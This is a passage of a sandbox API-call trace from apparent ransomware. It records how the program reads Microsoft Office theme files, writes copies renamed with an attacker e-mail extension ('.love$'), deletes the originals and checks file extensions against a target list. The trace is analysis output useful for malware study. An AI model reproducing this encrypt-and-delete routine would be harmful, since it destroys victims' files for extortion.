dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.732] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.732] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0249.746] GetLastError () returned 0x0 [0249.746] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xd44b, lpOverlapped=0x0) returned 1 [0249.751] WriteFile (in: hFile=0x53c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xd450, lpOverlapped=0x0) returned 1 [0249.753] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.753] WriteFile (in: hFile=0x53c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xf0, lpOverlapped=0x0) returned 1 [0249.753] SetEndOfFile (hFile=0x53c) returned 1 [0249.753] CloseHandle (hObject=0x53c) returned 1 [0249.753] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.753] SetEndOfFile (hFile=0x528) returned 1 [0249.757] CloseHandle (hObject=0x528) returned 1 [0249.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0249.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.758] lstrlenW (lpString=".doc") returned 4 [0249.758] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.758] lstrlenW (lpString=".docx") returned 5 [0249.758] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.758] lstrlenW (lpString=".pdf") returned 4 [0249.758] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.758] lstrlenW (lpString=".xls") returned 4 [0249.758] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.758] lstrlenW (lpString=".xlsx") returned 5 [0249.758] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.758] lstrlenW (lpString=".ppt") returned 4 [0249.758] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".zip") returned 4 [0249.759] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".rar") returned 4 [0249.759] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".bz2") returned 4 [0249.759] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".7z") returned 3 [0249.759] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".dbf") returned 4 [0249.759] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".1cd") returned 4 [0249.759] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".jpg") returned 4 [0249.759] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".doc") returned 4 [0249.759] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".docx") returned 5 [0249.759] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.759] lstrlenW (lpString=".pdf") returned 4 [0249.759] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".xls") returned 4 [0249.759] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString=".xlsx") returned 5 [0249.759] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.759] lstrlenW (lpString=".ppt") returned 4 [0249.759] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.759] lstrlenW (lpString=".zip") returned 4 [0249.760] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.760] lstrlenW (lpString=".rar") returned 4 [0249.760] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.760] lstrlenW (lpString=".bz2") returned 4 [0249.760] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.760] lstrlenW (lpString=".7z") returned 3 [0249.760] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.760] lstrlenW (lpString=".dbf") returned 4 [0249.760] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.760] lstrlenW (lpString=".1cd") returned 4 [0249.760] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0249.760] lstrlenW (lpString=".jpg") returned 4 [0249.760] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.760] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.760] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0249.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.761] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=352776) returned 1 [0249.761] CloseHandle (hObject=0x528) returned 1 [0249.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0249.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.762] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.762] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0249.763] GetLastError () returned 0x0 [0249.763] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x56208, lpOverlapped=0x0) returned 1 [0249.776] WriteFile (in: hFile=0x53c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x56210, lpOverlapped=0x0) returned 1 [0249.783] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.783] WriteFile (in: hFile=0x53c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xfa, lpOverlapped=0x0) returned 1 [0249.783] SetEndOfFile (hFile=0x53c) returned 1 [0249.783] CloseHandle (hObject=0x53c) returned 1 [0249.784] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.784] SetEndOfFile (hFile=0x528) returned 1 [0249.933] CloseHandle (hObject=0x528) returned 1 [0249.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.935] lstrlenW (lpString=".doc") returned 4 [0249.935] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.935] lstrlenW (lpString=".docx") returned 5 [0249.935] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.935] lstrlenW (lpString=".pdf") returned 4 [0249.935] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.935] lstrlenW (lpString=".xls") returned 4 [0249.935] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.935] lstrlenW (lpString=".xlsx") returned 5 [0249.935] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.935] lstrlenW (lpString=".ppt") returned 4 [0249.935] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.935] lstrlenW (lpString=".zip") returned 4 [0249.935] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.935] lstrlenW (lpString=".rar") returned 4 [0249.935] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString=".bz2") returned 4 [0249.936] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString=".7z") returned 3 [0249.936] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.936] lstrlenW (lpString=".dbf") returned 4 [0249.936] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.936] lstrlenW (lpString=".1cd") returned 4 [0249.936] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.936] lstrlenW (lpString=".jpg") returned 4 [0249.936] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.936] lstrlenW (lpString=".doc") returned 4 [0249.936] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString=".docx") returned 5 [0249.936] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.936] lstrlenW (lpString=".pdf") returned 4 [0249.936] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString=".xls") returned 4 [0249.936] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.936] lstrlenW (lpString=".xlsx") returned 5 [0249.936] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.936] lstrlenW (lpString=".ppt") returned 4 [0249.936] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.937] lstrlenW (lpString=".zip") returned 4 [0249.937] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString=".rar") returned 4 [0249.937] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString=".bz2") returned 4 [0249.937] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString=".7z") returned 3 [0249.937] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.937] lstrlenW (lpString=".dbf") returned 4 [0249.937] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.937] lstrlenW (lpString=".1cd") returned 4 [0249.937] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0249.937] lstrlenW (lpString=".jpg") returned 4 [0249.937] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.937] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.937] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0249.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.940] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=45229) returned 1 [0249.940] CloseHandle (hObject=0x528) returned 1 [0249.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0249.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.941] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.941] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0249.942] GetLastError () returned 0x0 [0249.942] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0249.965] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0249.968] ReadFile (in: hFile=0x528, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.968] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x102, lpOverlapped=0x0) returned 1 [0249.968] SetEndOfFile (hFile=0x548) returned 1 [0249.968] CloseHandle (hObject=0x548) returned 1 [0249.968] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.968] SetEndOfFile (hFile=0x528) returned 1 [0249.972] CloseHandle (hObject=0x528) returned 1 [0249.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0249.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.974] lstrlenW (lpString=".doc") returned 4 [0249.974] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.974] lstrlenW (lpString=".docx") returned 5 [0249.974] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.974] lstrlenW (lpString=".pdf") returned 4 [0249.974] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.974] lstrlenW (lpString=".xls") returned 4 [0249.975] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString=".xlsx") returned 5 [0249.975] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.975] lstrlenW (lpString=".ppt") returned 4 [0249.975] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString=".zip") returned 4 [0249.975] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString=".rar") returned 4 [0249.975] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString=".bz2") returned 4 [0249.975] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString=".7z") returned 3 [0249.975] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString=".dbf") returned 4 [0249.975] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString=".1cd") returned 4 [0249.975] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString=".jpg") returned 4 [0249.975] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.975] lstrlenW (lpString=".doc") returned 4 [0249.976] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".docx") returned 5 [0249.976] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.976] lstrlenW (lpString=".pdf") returned 4 [0249.976] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".xls") returned 4 [0249.976] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".xlsx") returned 5 [0249.976] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.976] lstrlenW (lpString=".ppt") returned 4 [0249.976] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.976] lstrlenW (lpString=".zip") returned 4 [0249.976] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".rar") returned 4 [0249.976] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".bz2") returned 4 [0249.976] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString=".7z") returned 3 [0249.976] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.976] lstrlenW (lpString=".dbf") returned 4 [0249.976] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.976] lstrlenW (lpString=".1cd") returned 4 [0249.976] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0249.976] lstrlenW (lpString=".jpg") returned 4 [0249.977] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.977] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.977] lstrlenW (lpString="Riblet.eftx") returned 11 [0249.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0250.471] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=295074) returned 1 [0250.471] CloseHandle (hObject=0x4e4) returned 1 [0250.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0250.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.667] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, 